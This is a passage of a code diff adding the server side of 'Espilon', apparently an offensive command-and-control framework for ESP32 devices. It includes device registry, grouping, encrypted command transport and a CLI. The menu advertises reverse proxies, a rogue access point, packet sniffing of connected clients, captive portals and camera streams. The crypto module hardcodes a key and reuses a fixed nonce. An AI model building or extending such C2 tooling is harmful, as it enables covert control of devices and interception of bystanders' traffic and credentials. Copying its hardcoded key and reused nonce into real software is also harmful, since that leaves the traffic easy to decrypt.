self.transport.send_command(d.sock, cmd)
|
||||
self.active_commands[request_id] = {
|
||||
"device_id": d.id,
|
||||
"command_name": cmd_name,
|
||||
"start_time": time.time(),
|
||||
"status": "running",
|
||||
"output": []
|
||||
}
|
||||
|
||||
def handle_command_response(self, request_id: str, device_id: str, payload: str, eof: bool):
|
||||
if request_id in self.active_commands:
|
||||
command_info = self.active_commands[request_id]
|
||||
command_info["output"].append(payload)
|
||||
if eof:
|
||||
command_info["status"] = "completed"
|
||||
Display.command_response(request_id, device_id, f"Command completed in {Display.format_duration(time.time() - command_info['start_time'])}")
|
||||
# Optionally print full output here if not already streamed
|
||||
# Display.command_response(request_id, device_id, "\n".join(command_info["output"]))
|
||||
del self.active_commands[request_id]
|
||||
else:
|
||||
# For streaming output, Display.command_response already prints each line
|
||||
pass
|
||||
else:
|
||||
Display.device_event(device_id, f"Received response for unknown command {request_id}: {payload}")
|
||||
|
||||
def _handle_group(self, parts):
|
||||
if not parts:
|
||||
Display.error("Usage: group <add|remove|list|show>")
|
||||
return
|
||||
|
||||
cmd = parts[0]
|
||||
|
||||
if cmd == "add" and len(parts) >= 3:
|
||||
group = parts[1]
|
||||
added_devices = []
|
||||
for esp_id in parts[2:]:
|
||||
if self.registry.get(esp_id): # Only add if device exists
|
||||
self.groups.add_device(group, esp_id)
|
||||
added_devices.append(esp_id)
|
||||
else:
|
||||
Display.device_event(esp_id, "Device not found, skipping group add.")
|
||||
if added_devices:
|
||||
Display.system_message(f"Group '{group}' updated. Added: {', '.join(added_devices)}")
|
||||
else:
|
||||
Display.system_message(f"No valid devices to add to group '{group}'.")
|
||||
|
||||
|
||||
elif cmd == "remove" and len(parts) >= 3:
|
||||
group = parts[1]
|
||||
removed_devices = []
|
||||
for esp_id in parts[2:]:
|
||||
if esp_id in self.groups.get(group):
|
||||
self.groups.remove_device(group, esp_id)
|
||||
removed_devices.append(esp_id)
|
||||
else:
|
||||
Display.device_event(esp_id, f"Device not in group '{group}', skipping remove.")
|
||||
if removed_devices:
|
||||
Display.system_message(f"Group '{group}' updated. Removed: {', '.join(removed_devices)}")
|
||||
else:
|
||||
Display.system_message(f"No specified devices found in group '{group}' to remove.")
|
||||
|
||||
elif cmd == "list":
|
||||
all_groups = self.groups.all_groups()
|
||||
if not all_groups:
|
||||
Display.system_message("No groups defined.")
|
||||
return
|
||||
Display.system_message("Defined Groups:")
|
||||
for g, members in all_groups.items():
|
||||
Display.system_message(f" {g}: {', '.join(members) if members else 'No members'}")
|
||||
|
||||
elif cmd == "show" and len(parts) == 2:
|
||||
group_name = parts[1]
|
||||
members = self.groups.get(group_name)
|
||||
if members:
|
||||
Display.system_message(f"Members of group '{group_name}': {', '.join(members)}")
|
||||
else:
|
||||
Display.system_message(f"Group '{group_name}' not found or empty.")
|
||||
|
||||
else:
|
||||
Display.error("Invalid group command usage. See 'help group' for details.")
|
||||
|
||||
def _handle_active_commands(self):
|
||||
if not self.active_commands:
|
||||
Display.system_message("No commands are currently active.")
|
||||
return
|
||||
|
||||
Display.system_message("Active Commands:")
|
||||
Display.print_table_header(["Request ID", "Device ID", "Command", "Status", "Elapsed Time"])
|
||||
|
||||
now = time.time()
|
||||
for req_id, cmd_info in self.active_commands.items():
|
||||
elapsed_time = Display.format_duration(now - cmd_info["start_time"])
|
||||
Display.print_table_row([
|
||||
req_id,
|
||||
cmd_info["device_id"],
|
||||
cmd_info["command_name"],
|
||||
cmd_info["status"],
|
||||
elapsed_time
|
||||
])
|
||||
78
tools/c2/cli/help.py
Normal file
78
tools/c2/cli/help.py
Normal file
@ -0,0 +1,78 @@
|
||||
from utils.display import Display
|
||||
|
||||
|
||||
class HelpManager:
|
||||
def __init__(self, command_registry, dev_mode: bool = False):
|
||||
self.commands = command_registry
|
||||
self.dev_mode = dev_mode
|
||||
|
||||
def show(self, args: list[str]):
|
||||
if args:
|
||||
self._show_command_help(args[0])
|
||||
else:
|
||||
self._show_global_help()
|
||||
|
||||
def _show_global_help(self):
|
||||
Display.system_message("=== ESPILON C2 HELP ===")
|
||||
print("\nCLI Commands:")
|
||||
print(" help [command] Show this help or help for a specific command")
|
||||
print(" list List connected ESP devices")
|
||||
print(" send <target> Send a command to ESP device(s)")
|
||||
print(" group <action> Manage ESP device groups (add, remove, list, show)")
|
||||
print(" active_commands List all currently running commands")
|
||||
print(" clear Clear the terminal screen")
|
||||
print(" exit Exit the C2 application")
|
||||
|
||||
print("\nESP Commands (available to send to devices):")
|
||||
for name in self.commands.list():
|
||||
handler = self.commands.get(name)
|
||||
print(f" {name:<15} {handler.description}")
|
||||
|
||||
if self.dev_mode:
|
||||
Display.system_message("\nDEV MODE ENABLED:")
|
||||
print(" You can send arbitrary text commands: send <target> <any text>")
|
||||
|
||||
def _show_command_help(self, command_name: str):
|
||||
if command_name == "list":
|
||||
Display.system_message("Help for 'list' command:")
|
||||
print(" Usage: list")
|
||||
print(" Description: Displays a table of all currently connected ESP devices,")
|
||||
print(" including their ID, IP address, connection duration, and last seen timestamp.")
|
||||
elif command_name == "send":
|
||||
Display.system_message("Help for 'send' command:")
|
||||
print(" Usage: send <device_id|all|group <group_name>> <command_name> [args...]")
|
||||
print(" Description: Sends a command to one or more ESP devices.")
|
||||
print(" Examples:")
|
||||
print(" send 1234567890 reboot")
|
||||
print(" send all get_status")
|
||||
print(" send group my_group ping 8.8.8.8")
|
||||
elif command_name == "group":
|
||||
Display.system_message("Help for 'group' command:")
|
||||
print(" Usage: group <action> [args...]")
|
||||
print(" Actions:")
|
||||
print(" add <group_name> <device_id1> [device_id2...] - Add devices to a group.")
|
||||
print(" remove <group_name> <device_id1> [device_id2...] - Remove devices from a group.")
|
||||
print(" list - List all defined groups and their members.")
|
||||
print(" show <group_name> - Show members of a specific group.")
|
||||
print(" Examples:")
|
||||
print(" group add my_group 1234567890 ABCDEF1234")
|
||||
print(" group remove my_group 1234567890")
|
||||
print(" group list")
|
||||
print(" group show my_group")
|
||||
elif command_name in ["clear", "exit"]:
|
||||
Display.system_message(f"Help for '{command_name}' command:")
|
||||
print(f" Usage: {command_name}")
|
||||
print(f" Description: {command_name.capitalize()}s the terminal screen." if command_name == "clear" else f" Description: {command_name.capitalize()}s the C2 application.")
|
||||
else:
|
||||
# Check if it's an ESP command
|
||||
handler = self.commands.get(command_name)
|
||||
if handler:
|
||||
Display.system_message(f"Help for ESP Command '{command_name}':")
|
||||
print(f" Description: {handler.description}")
|
||||
# Assuming ESP commands might have a usage string or more detailed help
|
||||
if hasattr(handler, 'usage'):
|
||||
print(f" Usage: {handler.usage}")
|
||||
if hasattr(handler, 'long_description'):
|
||||
print(f" Details: {handler.long_description}")
|
||||
else:
|
||||
Display.error(f"No help available for command '{command_name}'.")
|
||||
10
tools/c2/commands/base.py
Normal file
10
tools/c2/commands/base.py
Normal file
@ -0,0 +1,10 @@
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
|
||||
class CommandHandler(ABC):
|
||||
name: str = ""
|
||||
description: str = ""
|
||||
|
||||
@abstractmethod
|
||||
def build(self, args: list[str]) -> bytes:
|
||||
pass
|
||||
27
tools/c2/commands/reboot.py
Normal file
27
tools/c2/commands/reboot.py
Normal file
@ -0,0 +1,27 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
# Add tools/c2/ to sys.path to import c2_pb2
|
||||
sys.path.insert(0, os.path.abspath('./tools/c2'))
|
||||
|
||||
from commands.base import CommandHandler
|
||||
from proto import c2_pb2
|
||||
|
||||
|
||||
class RebootCommand(CommandHandler):
|
||||
name = "reboot"
|
||||
description = "Reboot ESP"
|
||||
|
||||
def build(self, args):
|
||||
# For the new c2_pb2.Command, we need device_id and request_id.
|
||||
# These will be filled by the CLI's _send_command method.
|
||||
# Here, we just prepare the command_name and argv.
|
||||
# The actual c2_pb2.Command object will be constructed in NewCLI._send_command
|
||||
# and then serialized, encrypted, and sent.
|
||||
# This build method is now primarily for command validation and argument parsing
|
||||
# if the command had specific arguments. For reboot, it's simple.
|
||||
|
||||
# The build method in the old CLI was expected to return serialized bytes.
|
||||
# In the new design, the CLI will construct the full c2_pb2.Command.
|
||||
# For now, we'll return the command name and args, which NewCLI will use.
|
||||
return {"command_name": self.name, "argv": args}
|
||||
12
tools/c2/commands/registry.py
Normal file
12
tools/c2/commands/registry.py
Normal file
@ -0,0 +1,12 @@
|
||||
class CommandRegistry:
|
||||
def __init__(self):
|
||||
self._handlers = {}
|
||||
|
||||
def register(self, handler):
|
||||
self._handlers[handler.name] = handler
|
||||
|
||||
def get(self, name):
|
||||
return self._handlers.get(name)
|
||||
|
||||
def list(self):
|
||||
return list(self._handlers.keys())
|
||||
31
tools/c2/core/crypto.py
Normal file
31
tools/c2/core/crypto.py
Normal file
@ -0,0 +1,31 @@
|
||||
import base64
|
||||
from Crypto.Cipher import ChaCha20
|
||||
|
||||
KEY = b"testde32chars0000000000000000000"
|
||||
NONCE = b"noncenonceno"
|
||||
|
||||
|
||||
class CryptoContext:
|
||||
def __init__(self, key: bytes = KEY, nonce: bytes = NONCE):
|
||||
self.key = key
|
||||
self.nonce = nonce
|
||||
|
||||
# =========================
|
||||
# ChaCha20
|
||||
# =========================
|
||||
def encrypt(self, data: bytes) -> bytes:
|
||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
||||
return cipher.encrypt(data)
|
||||
|
||||
def decrypt(self, data: bytes) -> bytes:
|
||||
cipher = ChaCha20.new(key=self.key, nonce=self.nonce)
|
||||
return cipher.decrypt(data)
|
||||
|
||||
# =========================
|
||||
# Base64
|
||||
# =========================
|
||||
def b64_encode(self, data: bytes) -> bytes:
|
||||
return base64.b64encode(data)
|
||||
|
||||
def b64_decode(self, data: bytes) -> bytes:
|
||||
return base64.b64decode(data)
|
||||
33
tools/c2/core/device.py
Normal file
33
tools/c2/core/device.py
Normal file
@ -0,0 +1,33 @@
|
||||
from dataclasses import dataclass, field
|
||||
import socket
|
||||
import time
|
||||
|
||||
|
||||
@dataclass
|
||||
class Device:
|
||||
"""
|
||||
Représente un ESP32 connecté au serveur
|
||||
"""
|
||||
id: str
|
||||
sock: socket.socket
|
||||
address: tuple[str, int]
|
||||
|
||||
connected_at: float = field(default_factory=time.time)
|
||||
last_seen: float = field(default_factory=time.time)
|
||||
status: str = "Connected" # New status field
|
||||
|
||||
def touch(self):
|
||||
"""
|
||||
Met à jour la date de dernière activité et marque le device comme connecté
|
||||
"""
|
||||
self.last_seen = time.time()
|
||||
self.status = "Connected"
|
||||
|
||||
def close(self):
|
||||
"""
|
||||
Ferme proprement la connexion
|
||||
"""
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
34
tools/c2/core/groups.py
Normal file
34
tools/c2/core/groups.py
Normal file
@ -0,0 +1,34 @@
|
||||
import threading
|
||||
|
||||
|
||||
class GroupRegistry:
|
||||
def __init__(self):
|
||||
self._groups: dict[str, set[str]] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
def add_group(self, name: str):
|
||||
with self._lock:
|
||||
self._groups.setdefault(name, set())
|
||||
|
||||
def delete_group(self, name: str):
|
||||
with self._lock:
|
||||
self._groups.pop(name, None)
|
||||
|
||||
def add_device(self, group: str, esp_id: str):
|
||||
with self._lock:
|
||||
self._groups.setdefault(group, set()).add(esp_id)
|
||||
|
||||
def remove_device(self, group: str, esp_id: str):
|
||||
with self._lock:
|
||||
if group in self._groups:
|
||||
self._groups[group].discard(esp_id)
|
||||
if not self._groups[group]:
|
||||
del self._groups[group]
|
||||
|
||||
def get(self, group: str) -> set[str]:
|
||||
with self._lock:
|
||||
return set(self._groups.get(group, []))
|
||||
|
||||
def all_groups(self) -> dict[str, set[str]]:
|
||||
with self._lock:
|
||||
return {k: set(v) for k, v in self._groups.items()}
|
||||
78
tools/c2/core/registry.py
Normal file
78
tools/c2/core/registry.py
Normal file
@ -0,0 +1,78 @@
|
||||
import threading
|
||||
import socket # Added missing import
|
||||
from typing import Dict, List, Optional
|
||||
from core.device import Device
|
||||
|
||||
|
||||
class DeviceRegistry:
|
||||
"""
|
||||
Registre central des ESP connectés.
|
||||
Clé primaire : esp_id
|
||||
"""
|
||||
def __init__(self):
|
||||
self._devices: Dict[str, Device] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ---------- Gestion des devices ----------
|
||||
|
||||
def add(self, device: Device) -> None:
|
||||
"""
|
||||
Ajoute ou remplace un device (reconnexion)
|
||||
"""
|
||||
with self._lock:
|
||||
self._devices[device.id] = device
|
||||
|
||||
def remove(self, esp_id: str) -> None:
|
||||
"""
|
||||
Supprime un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.pop(esp_id, None)
|
||||
if device:
|
||||
device.close()
|
||||
|
||||
def get(self, esp_id: str) -> Optional[Device]:
|
||||
"""
|
||||
Récupère un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
return self._devices.get(esp_id)
|
||||
|
||||
def get_device_by_sock(self, sock: socket.socket) -> Optional[Device]:
|
||||
"""
|
||||
Récupère un device par son objet socket.
|
||||
"""
|
||||
with self._lock:
|
||||
for device in self._devices.values():
|
||||
if device.sock == sock:
|
||||
return device
|
||||
return None
|
||||
|
||||
def all(self) -> List[Device]:
|
||||
"""
|
||||
Retourne la liste de tous les devices
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.values())
|
||||
|
||||
def ids(self) -> List[str]:
|
||||
"""
|
||||
Retourne la liste des IDs ESP (pour CLI / tabulation)
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.keys())
|
||||
|
||||
# ---------- Utilitaires ----------
|
||||
|
||||
def exists(self, esp_id: str) -> bool:
|
||||
with self._lock:
|
||||
return esp_id in self._devices
|
||||
|
||||
def touch(self, esp_id: str) -> None:
|
||||
"""
|
||||
Met à jour last_seen d’un ESP
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.get(esp_id)
|
||||
if device:
|
||||
device.touch()
|
||||
128
tools/c2/core/transport.py
Normal file
128
tools/c2/core/transport.py
Normal file
@ -0,0 +1,128 @@
|
||||
from core.crypto import CryptoContext
|
||||
from core.device import Device
|
||||
from core.registry import DeviceRegistry
|
||||
from logs.manager import LogManager
|
||||
from utils.display import Display
|
||||
|
||||
from proto.c2_pb2 import Command, AgentMessage, AgentMsgType
|
||||
|
||||
# Forward declaration for type hinting to avoid circular import
|
||||
from typing import TYPE_CHECKING
|
||||
if TYPE_CHECKING:
|
||||
from cli.cli import CLI
|
||||
|
||||
|
||||
class Transport:
|
||||
def __init__(self, registry: DeviceRegistry, logger: LogManager, cli_instance: 'CLI' = None):
|
||||
self.crypto = CryptoContext()
|
||||
self.registry = registry
|
||||
self.logger = logger
|
||||
self.cli = cli_instance # CLI instance for callback
|
||||
self.command_responses = {} # To track command responses
|
||||
|
||||
def set_cli(self, cli_instance: 'CLI'):
|
||||
self.cli = cli_instance
|
||||
|
||||
# ==================================================
|
||||
# RX (ESP → C2)
|
||||
# ==================================================
|
||||
def handle_incoming(self, sock, addr, raw_data: bytes):
|
||||
"""
|
||||
raw_data = BASE64( ChaCha20( Protobuf AgentMessage ) )
|
||||
"""
|
||||
# Removed verbose transport debug prints
|
||||
|
||||
# 1) base64 decode
|
||||
try:
|
||||
cipher = self.crypto.b64_decode(raw_data)
|
||||
except Exception as e:
|
||||
Display.error(f"Base64 decode failed from {addr}: {e}")
|
||||
return
|
||||
|
||||
# 2) chacha decrypt
|
||||
try:
|
||||
protobuf_bytes = self.crypto.decrypt(cipher)
|
||||
except Exception as e:
|
||||
Display.error(f"Decrypt failed from {addr}: {e}")
|
||||
return
|
||||
|
||||
# 3) protobuf decode → AgentMessage
|
||||
try:
|
||||
msg = AgentMessage.FromString(protobuf_bytes)
|
||||
except Exception as e:
|
||||
Display.error(f"Protobuf decode failed from {addr}: {e}")
|
||||
return
|
||||
|
||||
if not msg.device_id:
|
||||
Display.error("AgentMessage received without device_id")
|
||||
return
|
||||
|
||||
self._dispatch(sock, addr, msg)
|
||||
|
||||
# ==================================================
|
||||
# DISPATCH
|
||||
# ==================================================
|
||||
def _dispatch(self, sock, addr, msg: AgentMessage):
|
||||
device = self.registry.get(msg.device_id)
|
||||
|
||||
if not device:
|
||||
device = Device(
|
||||
id=msg.device_id,
|
||||
sock=sock,
|
||||
address=addr
|
||||
)
|
||||
self.registry.add(device)
|
||||
Display.device_event(device.id, f"Connected from {addr[0]}")
|
||||
else:
|
||||
device.touch()
|
||||
|
||||
self._handle_agent_message(device, msg)
|
||||
|
||||
# ==================================================
|
||||
# AGENT MESSAGE HANDLER
|
||||
# ==================================================
|
||||
def _handle_agent_message(self, device: Device, msg: AgentMessage):
|
||||
payload_str = ""
|
||||
if msg.payload:
|
||||
try:
|
||||
payload_str = msg.payload.decode(errors="ignore")
|
||||
except Exception:
|
||||
payload_str = repr(msg.payload)
|
||||
|
||||
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
|
||||
if msg.request_id and self.cli:
|
||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||
else:
|
||||
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_INFO:
|
||||
Display.device_event(device.id, f"INFO: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_ERROR:
|
||||
Display.device_event(device.id, f"ERROR: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_LOG:
|
||||
Display.device_event(device.id, f"LOG: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_DATA:
|
||||
Display.device_event(device.id, f"DATA: {payload_str}")
|
||||
else:
|
||||
Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}")
|
||||
|
||||
# ==================================================
|
||||
# TX (C2 → ESP)
|
||||
# ==================================================
|
||||
def send_command(self, sock, cmd: Command):
|
||||
"""
|
||||
Command → Protobuf → ChaCha20 → Base64 → \\n
|
||||
"""
|
||||
try:
|
||||
proto = cmd.SerializeToString()
|
||||
# Removed verbose transport debug prints
|
||||
|
||||
# Encrypt
|
||||
cipher = self.crypto.encrypt(proto)
|
||||
|
||||
# Base64
|
||||
b64 = self.crypto.b64_encode(cipher)
|
||||
|
||||
sock.sendall(b64 + b"\n")
|
||||
|
||||
except Exception as e:
|
||||
Display.error(f"Failed to send command to {cmd.device_id}: {e}")
|
||||
0
tools/c2/proto/__init__.py
Normal file
0
tools/c2/proto/__init__.py
Normal file
29
tools/c2/proto/c2_pb2.py
Normal file
29
tools/c2/proto/c2_pb2.py
Normal file
@ -0,0 +1,29 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
# Generated by the protocol buffer compiler. DO NOT EDIT!
|
||||
# source: c2.proto
|
||||
"""Generated protocol buffer code."""
|
||||
from google.protobuf.internal import builder as _builder
|
||||
from google.protobuf import descriptor as _descriptor
|
||||
from google.protobuf import descriptor_pool as _descriptor_pool
|
||||
from google.protobuf import symbol_database as _symbol_database
|
||||
# @@protoc_insertion_point(imports)
|
||||
|
||||
_sym_db = _symbol_database.Default()
|
||||
|
||||
|
||||
|
||||
|
||||
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x08\x63\x32.proto\x12\x02\x63\x32\"T\n\x07\x43ommand\x12\x11\n\tdevice_id\x18\x01 \x01(\t\x12\x14\n\x0c\x63ommand_name\x18\x02 \x01(\t\x12\x0c\n\x04\x61rgv\x18\x03 \x03(\t\x12\x12\n\nrequest_id\x18\x04 \x01(\t\"\x83\x01\n\x0c\x41gentMessage\x12\x11\n\tdevice_id\x18\x01 \x01(\t\x12\x1e\n\x04type\x18\x02 \x01(\x0e\x32\x10.c2.AgentMsgType\x12\x0e\n\x06source\x18\x03 \x01(\t\x12\x12\n\nrequest_id\x18\x04 \x01(\t\x12\x0f\n\x07payload\x18\x05 \x01(\x0c\x12\x0b\n\x03\x65of\x18\x06 \x01(\x08*d\n\x0c\x41gentMsgType\x12\x0e\n\nAGENT_INFO\x10\x00\x12\x0f\n\x0b\x41GENT_ERROR\x10\x01\x12\x0e\n\nAGENT_DATA\x10\x02\x12\r\n\tAGENT_LOG\x10\x03\x12\x14\n\x10\x41GENT_CMD_RESULT\x10\x04\x62\x06proto3')
|
||||
|
||||
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
|
||||
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'c2_pb2', globals())
|
||||
if _descriptor._USE_C_DESCRIPTORS == False:
|
||||
|
||||
DESCRIPTOR._options = None
|
||||
_AGENTMSGTYPE._serialized_start=236
|
||||
_AGENTMSGTYPE._serialized_end=336
|
||||
_COMMAND._serialized_start=16
|
||||
_COMMAND._serialized_end=100
|
||||
_AGENTMESSAGE._serialized_start=103
|
||||
_AGENTMESSAGE._serialized_end=234
|
||||
# @@protoc_insertion_point(module_scope)
|
||||
149
tools/c2/utils/cli.py
Normal file
149
tools/c2/utils/cli.py
Normal file
@ -0,0 +1,149 @@
|
||||
from utils.manager import list_groups
|
||||
from utils.constant import _color
|
||||
# from utils.genhash import generate_random_endpoint, generate_token
|
||||
from utils.utils import _print_status, _list_clients, _send_command
|
||||
#from test.test import system_check
|
||||
# from udp_server import start_cam_server, stop_cam_server
|
||||
import os
|
||||
import readline
|
||||
from utils.sheldon import call
|
||||
|
||||
def _setup_cli(c2):
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer_delims(' \t\n;')
|
||||
readline.set_completer(c2._complete)
|
||||
readline.set_auto_history(True)
|
||||
|
||||
def _show_menu():
|
||||
menu = f"""
|
||||
{_color('CYAN')}=============== Menu Server ==============={_color('RESET')}
|
||||
|
||||
|
||||
|
||||
menu / help -> List of commands
|
||||
|
||||
|
||||
|
||||
########## Manage Esp32 ##########
|
||||
|
||||
|
||||
add_group <group> <id_esp32> -> Add a client to a group
|
||||
list_groups -> List all groups
|
||||
|
||||
remove_group <group> -> Remove a group
|
||||
remove_esp_from <group> <esp> -> Remove a client from a group
|
||||
|
||||
reboot <id_esp32> -> Reboot a specific client
|
||||
reboot <group> -> Reboot all clients in a group
|
||||
reboot all -> Reboot all clients
|
||||
|
||||
|
||||
|
||||
########## System C2 Commands ##########
|
||||
|
||||
|
||||
list -> List all connected clients
|
||||
clear -> Clear the terminal screen
|
||||
exit -> Exit the server
|
||||
start/stop srv_video -> Register a camera service
|
||||
|
||||
|
||||
|
||||
########## Firmware Services client ##########
|
||||
|
||||
|
||||
## Send Commands to firmware ##
|
||||
|
||||
send <id_esp32> <message> -> Send a message to a client
|
||||
or
|
||||
send <id_esp32> <start/stop> <service> <args> -> Start/Stop a service on a specific client
|
||||
|
||||
## Start/Stop Services on clients ##
|
||||
|
||||
start proxy <IP> <PORT> -> Start a reverse proxy on ur ip port for a specific client
|
||||
stop proxy -> Stop the revproxy on a specific client
|
||||
|
||||
start stream <IP> <PORT> -> Start camera stream on a specific client
|
||||
stop stream -> Stop camera stream on a specific client
|
||||
|
||||
start ap <WIFI_SSID> <PASSWORD> -> Start an access point on a specific client
|
||||
(WIFI_SSID and PASSWORD are optional, default_SSID="ESP_32_WIFI_SSID")
|
||||
stop ap -> Stop the access point on a specific client
|
||||
list_clients -> List all connected clients on the access point
|
||||
|
||||
start sniffer -> Start packet sniffing on clients connected to the access point
|
||||
stop sniffer -> Stop packet sniffing on clients connected to the access point
|
||||
|
||||
start captive_portal <WIFI_SSID> -> Start a server on a specific client
|
||||
(WIFI_SSID is optional, default_SSID="ESP_32_WIFI_SSID")
|
||||
stop captive_portal -> Stop the server on a specific client
|
||||
|
||||
"""
|
||||
print(menu)
|
||||
|
||||
|
||||
|
||||
|
||||
def _show_banner():
|
||||
banner = rf"""
|
||||
{_color('CYAN')}Authors : Eunous/grogore, itsoktocryyy, offpath, Wepfen, p2lu
|
||||
|
||||
___________
|
||||
\_ _____/ ____________ |__| | ____ ____
|
||||
| __)_ / ___/\____ \| | | / _ \ / \
|
||||
| \\___ \ | |_> > | |_( <_> ) | \
|
||||
/_______ /____ >| __/|__|____/\____/|___| /
|
||||
\/ \/ |__| \/
|
||||
|
||||
=============== v 0.1 ==============={_color('RESET')}
|
||||
"""
|
||||
print(banner)
|
||||
|
||||
|
||||
|
||||
|
||||
def cli_interface(self):
|
||||
_show_banner()
|
||||
_show_menu()
|
||||
|
||||
# def _cmd_start(parts):
|
||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
||||
# start_cam_server()
|
||||
|
||||
|
||||
# def _cmd_stop(parts):
|
||||
# if len(parts) > 1 and parts[1] == "srv_video":
|
||||
# stop_cam_server()
|
||||
|
||||
commands = {
|
||||
"menu": lambda parts: _show_menu(),
|
||||
"help": lambda parts: _show_menu(),
|
||||
"send": lambda parts: _send_command(self, " ".join(parts)),
|
||||
"list": lambda parts: _list_clients(self),
|
||||
"clear": lambda parts: os.system('cls' if os.name == 'nt' else 'clear'),
|
||||
"exit": lambda parts: self._shutdown(),
|
||||
"reboot": lambda parts: self._handle_reboot(parts),
|
||||
"add_group": lambda parts: self._handle_add_group(parts),
|
||||
"list_groups": lambda parts: list_groups(self),
|
||||
"remove_group": lambda parts: self._handle_remove_group(parts),
|
||||
"remove_esp_from": lambda parts: self._handle_remove_esp_from(parts),
|
||||
# "start": _cmd_start,
|
||||
# "stop": _cmd_stop,
|
||||
# "system_check": lambda parts: system_check(self),
|
||||
}
|
||||
|
||||
while True:
|
||||
choix = input(f"\n{_color('BLUE')}striker:> {_color('RESET')}").strip()
|
||||
if not choix:
|
||||
continue
|
||||
|
||||
parts = choix.split()
|
||||
cmd = parts[0]
|
||||
|
||||
try:
|
||||
if cmd in commands:
|
||||
commands[cmd](parts)
|
||||
else:
|
||||
call(choix)
|
||||
except Exception as e:
|
||||
_print_status(f"Erreur: {str(e)}", "RED", "⚠")
|
||||
23
tools/c2/utils/constant.py
Normal file
23
tools/c2/utils/constant.py
Normal file
@ -0,0 +1,23 @@
|
||||
HOST = '0.0.0.0'
|
||||
PORT = 2626
|
||||
|
||||
# ANSI color codes
|
||||
COLORS = {
|
||||
"RESET": "\033[0m",
|
||||
"RED": "\033[91m",
|
||||
"GREEN": "\033[92m",
|
||||
"BLUE": "\033[94m",
|
||||
"YELLOW": "\033[93m",
|
||||
"MAGENTA": "\033[95m",
|
||||
"CYAN": "\033[96m"
|
||||
}
|
||||
|
||||
def _color(color_name):
|
||||
return COLORS.get(color_name, "")
|
||||
|
||||
COMMANDS = [
|
||||
"", "send", "list", "clear", "exit", "reboot",
|
||||
"add_group", "list_groups", "remove_group",
|
||||
"remove_esp_from", "system_check", "menu", "help",
|
||||
"srv_video"
|
||||
]
|
||||
65
tools/c2/utils/display.py
Normal file
65
tools/c2/utils/display.py
Normal file
@ -0,0 +1,65 @@
|
||||
import time
|
||||
from utils.constant import _color
|
||||
|
||||
class Display:
|
||||
@staticmethod
|
||||
def _timestamp() -> str:
|
||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
||||
|
||||
@staticmethod
|
||||
def system_message(message: str):
|
||||
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
def device_event(device_id: str, event: str):
|
||||
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
|
||||
|
||||
@staticmethod
|
||||
def command_sent(device_id: str, command_name: str, request_id: str):
|
||||
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
|
||||
|
||||
@staticmethod
|
||||
def command_response(request_id: str, device_id: str, response: str):
|
||||
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
|
||||
|
||||
@staticmethod
|
||||
def error(message: str):
|
||||
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
def cli_prompt():
|
||||
return f"\n{_color('BLUE')}c2:> {_color('RESET')}"
|
||||
|
||||
@staticmethod
|
||||
def format_duration(seconds: float) -> str:
|
||||
seconds = int(seconds)
|
||||
m, s = divmod(seconds, 60)
|
||||
h, m = divmod(m, 60)
|
||||
d, h = divmod(h, 24)
|
||||
|
||||
if d > 0:
|
||||
return f"{d}d {h}h {m}m"
|
||||
if h > 0:
|
||||
return f"{h}h {m}m {s}s"
|
||||
if m > 0:
|
||||
return f"{m}m {s}s"
|
||||
return f"{s}s"
|
||||
|
||||
@staticmethod
|
||||
def format_timestamp(timestamp: float) -> str:
|
||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(timestamp))
|
||||
|
||||
@staticmethod
|
||||
def print_table_header(headers: list):
|
||||
header_str = ""
|
||||
for header in headers:
|
||||
header_str += f"{header:<18}"
|
||||
print(header_str)
|
||||
print("-" * (len(headers) * 18))
|
||||
|
||||
@staticmethod
|
||||
def print_table_row(columns: list):
|
||||
row_str = ""
|
||||
for col in columns:
|
||||
row_str += f"{str(col):<18}"
|
||||
print(row_str)
|
||||
57
tools/c2/utils/manager.py
Normal file
57
tools/c2/utils/manager.py
Normal file
@ -0,0 +1,57 @@
|
||||
from utils.utils import _print_status
|
||||
from tools.c2.utils.constant import _color
|
||||
|
||||
def add_to_group(c2, group_name, client_address):
|
||||
if group_name not in c2.groups:
|
||||
c2.groups[group_name] = []
|
||||
|
||||
ip_address = client_address[0]
|
||||
|
||||
if ip_address not in c2.groups[group_name]:
|
||||
c2.groups[group_name].append(ip_address)
|
||||
_print_status(f"Client {ip_address} ajouté au groupe {group_name}", "GREEN")
|
||||
else:
|
||||
